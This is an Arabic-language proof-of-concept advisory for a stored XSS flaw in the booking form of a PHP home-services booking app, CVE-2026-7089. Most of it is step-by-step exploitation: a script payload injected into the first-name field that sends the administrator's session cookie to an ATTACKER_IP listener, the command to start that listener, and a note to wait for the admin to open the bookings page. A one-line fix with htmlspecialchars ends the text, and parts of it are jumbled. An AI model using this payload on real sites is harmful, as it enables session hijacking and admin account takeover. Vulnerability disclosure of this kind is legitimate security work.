
إثبات المفهوم لـ CVE-2026-7089، وهي ثغرة XSS مخزنة في نظام الخدمة المنزلية PHP 1.0 تسمح باختطاف جلسة المسؤول دون مصادقة عبر نموذج الحجز.
| الحقل | التفاصيل |
|---|
| البائع | code-projects.org |
| المنتج | نظام الخدمات المنزلية بلغة PHP |
| الإصدار | 1.0 |
| نوع الثغرة | تخزين البرمجة النصية عبر المواقع (XSS) |
| CWE | CWE-79 |
| المصادقة المطلوبة | لا |
| المؤلف | عماد علوي |
توجد ثغرة تخزين البرمجة النصية عبر المواقع (XSS) في ملف booking.php من
نظام الخدمات المنزلية بلغة PHP 1.0. يمكن للمستخدمين غير المصادق عليهم حقن حمولات
JavaScript خبيثة من خلال حقول نموذج الحجز. يتم تخزين الإدخال غير المعقّم
في قاعدة البيانات وعرضه دون ترميز المخرجات في لوحة الإدارة
(admin.php)، حيث يتم تنفيذه في سياق متصفح المسؤول.
يسمح هذا لمهاجم غير مصادق بسرقة ملف تعريف ارتباط الجلسة الخاص بالمسؤول، وتنفيذ إجراءات نيابة عن المسؤول، أو اختراق حساب المسؤول بالكامل.
booking.phpfname, lnameadmin.php ← إدارة الحجوزاتانتقل إلى صفحة الحجز كمستخدم غير مصادق: http://TARGET/homeservices/booking.php?provider=
في حقل الاسم الأول، احقن الحمولة التالية:
<script>new Image().src="http://ATTACKER_IP:PORT?c="+document.cookie</script>
املأ الحقول المتبقية بأي بيانات صالحة وأرسل الحجز.
شغّل مستمعًا على جهاز المهاجم:
php -S 0.0.0.0:PORT
انتظر حتى يزور المسؤول قسم إدارة الحجوزات في admin.php.
يتم تنفيذ الحمولة في متصفح المسؤول، مما يؤدي إلى تسريب ملف تعريف ارتباط الجلسة إلى المستمع الخاص بك.

<script>alert(1)</script>

<script>new Image().src="http://ATTACKER_IP:7979?c="+document.cookie</script>
تسمح هذه الثغرة لمهاجم عن بُعد غير مصادق باختراق التطبيق بالكامل.
يمكن للمهاجم:
PHPSESSID الخاص بالمسؤولhtmlspecialchars() مع ENT_QUOTES على جميع المدخلات المقدمة من المستخدم قبل
التخزين أو العرض